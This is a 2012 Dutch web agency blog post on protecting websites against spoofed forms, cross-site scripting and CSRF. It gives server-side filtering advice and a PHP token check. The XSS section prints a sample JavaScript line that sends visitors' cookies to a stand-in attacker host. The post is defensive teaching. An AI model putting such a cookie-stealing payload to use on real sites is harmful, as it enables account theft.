VisionEars wordt Mulberries Agency

Wij gaan vanaf 1 september verder onder de naam Mulberries Agency. Naast de vertrouwde service die je van ons gewend bent hebben we ons ook gespecialiseerd op het gebied van Marketing Automation en Experiment Marketing.

Bekijk hier de website van Mulberries Agency Sluit popup

Download je gratis ebook: Marketing automation - 6 systemen vergeleken

Zoek je naar software om meer leads te converteren? Download onze gratis ebook waarin wij de 6 meest gebruikte softwarepakketten met elkaar vergelijken!

Download je gratis ebook: Infograpic stappenplan

Voor een geslaagde infographic heb je meer nodig dan goede data en een mooi design. Het moet een verhaal vertellen dat aansluit bij de doelgroep. Download ons heldere stappenplan en ga voor die perfecte infographic.

Download je gratis ebook: 10 tips voor een optimale webshop homepagina

De homepagina van je webshop is enorm belangrijk, want het is de first impression die telt. Een geoptimaliseerde homepagina is belangrijk voor het succes van je webshop.

Gratis consult: snelheidsoptimalisatie

Een snelle(re) website draagt bij aan de gebruikerservaring en levert meer conversies en dus omzet op. Wij helpen je graag op weg!

Wie onderstaand formulier invult, ontvangt een uitnodiging van een gratis consult. Tijdens dit gesprek bekijken we de betreffende website(s) en bespreken we samen alle mogelijkheden en valkuilen.

Gratis consult: Webshop optimalisatie

Voor een geslaagde webshop heb je meer nodig dan mooi design. Een goede gebruikerservaring, technisch in orde en zoekmachine geoptimaliseerd. Neem contact op voor een GRATIS consult. Wij nemen je webshop onder de loep zodat jij precies weet waar je kansen liggen en nog meer rendement uit je webshop kan halen.

Download jouw gratis ebook
  • Blog

Uw website beveiligen tegen hackers, website beveiliging (deel 3)
09
Mrt 2012
Web development

Uw website beveiligen tegen hackers, website beveiliging (deel 3)

09 mrt 2012 | Kevin | Web development

Spoofed forms

Het spoofen van formulieren, of met andere woorden, manipuleren van formulieren is een van de methodes die hackers graag gebruiken om toegang te krijgen tot een database of afgeschermd gebied op uw site. Vaak wordt deze techniek gecombineerd met bijvoorbeeld een SQL injection, waar we in ons volgende blog in deze serie op terug zullen komen.

Een formulier kan op verschillende manieren door een hacker gemanipuleerd worden. Een van de meest gebruikte methodes is het formulier te kopieren naar een andere locatie, bijv. een domein dat door de hacker wordt beheerd, waarna deze het formulier kan aanpassen en verzenden naar uw site. Op deze manier kan een hacker alle "Client side" checks en filters in uw formulier omzeilen, omdat hij het formulier kan aanpassen. 

Als u bijvoorbeeld in uw formulier dat naar www.example.com/save.php wordt verzonden een selectbox gebruikt, kan een hacker een eigen versie van uw formulier maken, ook met een selectbox, en ook deze versturen naar www.example.com/save.php. Omdat de hacker zijn eigen versie van uw formulier naar harte lust kan aanpassen kan hij eenvoudig in de selectbox een waarde plaatsen met bijvoorbeeld SQL injection code.

Uw client side beveiliging, de filtering van input middels de selectbox is in dit geval dus verre van toereikend en wordt eenvoudig omzeild door de hacker. Op een zelfde manier kunnen client side beveiliging, zoals javascript filters en checks omzeild worden.

Client side beveiliging moet dus altijd worden gezien als een hulp om de goedwillende gebruiker de juiste richting in te sturen, maar niet om de kwaadwillende gebruiker te stoppen bij zijn hacks. Hiervoor dient u server side, dus bijvoorbeeld met php, het formulier te filteren. In het bovenstaande voorbeeld zou u dat kunnen doen door alle waarde van de selectbox in een array te plaatsen en te controleren of de input van de gebruiker overeenkomt met een van deze array items.

In principe kunt u een aanval via een "spoofed form" dus geheel voorkomen door goed te filteren en escapen, zoals in ons vorige artikel in deze serie besproken.

Cross site scripting (XSS)

Cross site scripting is een van de favoriete technieken van hackers om gebruikersdata, zoals bijvoorbeeld inloggegevens te stelen. Cross site scripting wordt zoveel gebruikt door hackers omdat veel webbouwers het gevaar van deze hack niet onderkennen en "vergeten" hun website hiertegen te beveiligen.

Cross site scripting werkt door het plaatsen van schadelijke code op een site via bijvoorbeeld een gastenboek of iets dergelijks. Op het moment dat data die door gebruikers is ingevoerd wordt getoond op een site, kan een hacker hier gebruik van maken om zijn eigen code op die site te plaatsen.

Dit principe wordt gedemonstreerd in het volgende voorbeeld. Op een website worden tweede hands producten verkocht die door gebruikers worden geplaatst. Een van de gebruikers is een hacker en plaatst een nep product. In de omschrijving van het product plaatst hij de volgende code:

document.location = 'http://www.hackers-site.com/getcookies.php?cookies='+document.cookie;

Zodra nu een bezoeker de nep advertentie van onze hacker bezoekt wordt deze door de javascript code die door de hacker is geplaatst geredirect naar de site van de hacker. De hacker heeft ervoor gezorgd dat alle cookies van de bezoeker worden meegestuurd bij het redirecten in de $_GET superglobal. Op deze manier kan de hacker eenvoudig alle data in de cookies van de gebruiker opslaan voor later gebruik. Als er inloggegevens in de cookies van de gebuiker staan dan heeft de hacker die succesvol gestolen en kan hij die wellicht gebruiken om andere gegevens van de nietsvermoedende gebruiker te achterhalen, zoals zijn bankgegevens.

Het beveiligen tegen dit type hacks is opnieuw een herhaling van het vorige artikel in deze serie. Hier zien we hoe belangrijk het is om alle output te escapen en filteren. Als javascript tags zouden worden gefilterd in ons voorbeeld zou de bovenstaande hack al onschadelijk zijn gemaakt.

Cross site request forgeries (CSRF)

Cross site request forgeries doen eigenlijk precies het omgekeerde van cross site scripting hacks. Met een cross site scripting hack probeert de hacker de gebruiker van je site af te halen en naar een andere site te sturen waar hij gegevens van de gebruiker steelt. Maar bij een Cross site request forgery probeert de hacker een gebruiker vanaf een andere site acties uit te laten voeren op jouw site.

Als een hacker bijvoorbeeld ontdekt dat hij het emailadres van een gebruiker van je site kan wijzigen door naar de pagina "http://www.example.com/changeEmail.php" te gaan en middels de $_POST zijn eigen emailadres kan meegeven kan hij daarmee zijn email adres koppelen aan het account van de gebruiker. Daarna zal hij proberen via de "wachtwoord vergeten" link het wachtwoord van de gebruiker te resetten, het nieuwe wachtwoord wordt dan naar zijn email adres gestuurd, en hij kan inbreken in het account van de gebruiker en zijn of haar persoonlijke gegevens bekijken, wijzigen of bijvoorbeeld bestellingen plaatsen op naam van de gebruiker.

De hacker kan natuurlijk niet het emailadres van de gebruiker wijzigen als hij niet is ingelogd als de gebruiker, en hij kan ook niet inloggen als de gebruiker omdat hij de gegevens van deze gebruiker nog niet heeft gestolen. De hacker zal dus via een "cross site request forgery" proberen de ingelogde gebruiker onbewust zijn eigen email adres te laten wijzigen. Hij zou dit als volgt kunnen doen, met bijvoorbeeld een plaatje op de site http://www.hacked-site.com.

Wanneer een gebruiker ingelogd is op http://www.example.com en daarna in bijvoorbeeld een ander tabblad naar http://www.hacked-site.com gaat wordt de link in het plaatje geladen en wordt aan http://www.example.com "gevraagd" het emailadres van de ingelogde gebruiker te wijzigen. Omdat de gebruiker is ingelogd en zijn sessie nog actief is denkt http://www.example.com dat de "vraag" om het emailadres te wijzigen echt van de gebruiker komt en voert deze actie uit. In de tussentijd heeft de gebruiker niets door en wijzigt de hacker het wachtwoord van de gebruiker.

Deze hack is het best te voorkomen door gebruik te maken van een "token" waarmee de site kan verifieren of een "aanvraag" om bijvoorbeeld een emailadres te wijzigen echt van de gebruiker komt en niet vervalst is zoals in het bovenstaande voorbeeld. Zo'n token kun je als volgt opzetten in het formulier dat gebruikt wordt om het nieuwe emailadres op te geven:

Op de vervolg pagina waar het email adres daadwerkelijk wordt gewijzigd (changeEmail.php) door de php code doe je dan het volgende om te controleren of de "aanvraag" tot het wijzigen van het email adres daadwerkelijk van een persoon komt en niet van een cross site request forgery:

if (isset($_SESSION['token']) && isset($clean_post['token']) && $_SESSION['token']==$clean_post['token'])
{
  //als de token in zowel de sessie als de gefilterde post array's voorkomt en de twee komen met elkaar overeen:
  //Verder met het wijzigen van het email adres
}

Conclusie

Hoewel er vele type aanvallen bestaan kun je door je site verstandig en goed doordacht op te zetten al deze potentiele gevaren voor je gebruikers onschadelijk maken.

Bekijk ook de andere artikelen in deze serie blogs waarin meer tips worden gegeven om je site tegen hackers te beveiligen.

Deel deze blog post:

Kevin van Beers | Inbound marketing specialist

Kevin is inbound marketing specialist bij VisionEars. Naast social media heeft hij ook een passie voor marketing automation.

Neem contact met mij op Contact
blog comments powered by Disqus
© 2008-2019 - VisionEars B.V. - Meetbaar online succes